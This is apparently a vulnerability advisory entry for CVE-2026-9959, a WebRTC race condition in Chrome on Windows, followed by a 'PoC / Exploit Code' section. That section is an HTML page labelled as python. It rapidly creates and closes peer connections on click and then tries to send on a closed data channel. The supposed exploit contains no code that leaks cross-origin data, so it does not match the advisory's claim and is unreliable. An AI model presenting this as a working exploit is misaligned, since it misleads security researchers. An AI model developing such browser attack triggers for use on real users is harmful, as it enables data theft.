Race in WebRTC in Google Chrome on Windows prior to 148.0.7778.216 allowed a remote attacker to leak cross-origin data via a crafted HTML page. (Chromium security severity: High)
cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE
Google Chrome on Windows < 148.0.7778.216
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!--
PoC for CVE-2026-9959 (Race Condition in WebRTC)
This script attempts to trigger a race condition by rapidly creating and closing PeerConnections.
-->
<!DOCTYPE html>
<html>
<head>
<title>CVE-2026-9959 PoC</title>
</head>
<body>
<h1>Testing WebRTC Race Condition</h1>
<script>
function triggerRace() {
for (let i = 0; i < 100; i++) {
const pc = new RTCPeerConnection();
// Create a data channel to simulate activity
const dc = pc.createDataChannel('test');
// Attempt to close immediately to create race condition
pc.close();
// Try to access properties after close to trigger the leak
try {
dc.send('test data');
} catch (e) {
console.log('Expected error:', e);
}
}
console.log('Race condition trigger attempt finished.');
}
// Trigger on button click to satisfy User Interaction requirement
document.addEventListener('click', triggerRace);
</script>
<p>Click anywhere to attempt exploitation.</p>
</body>
</html>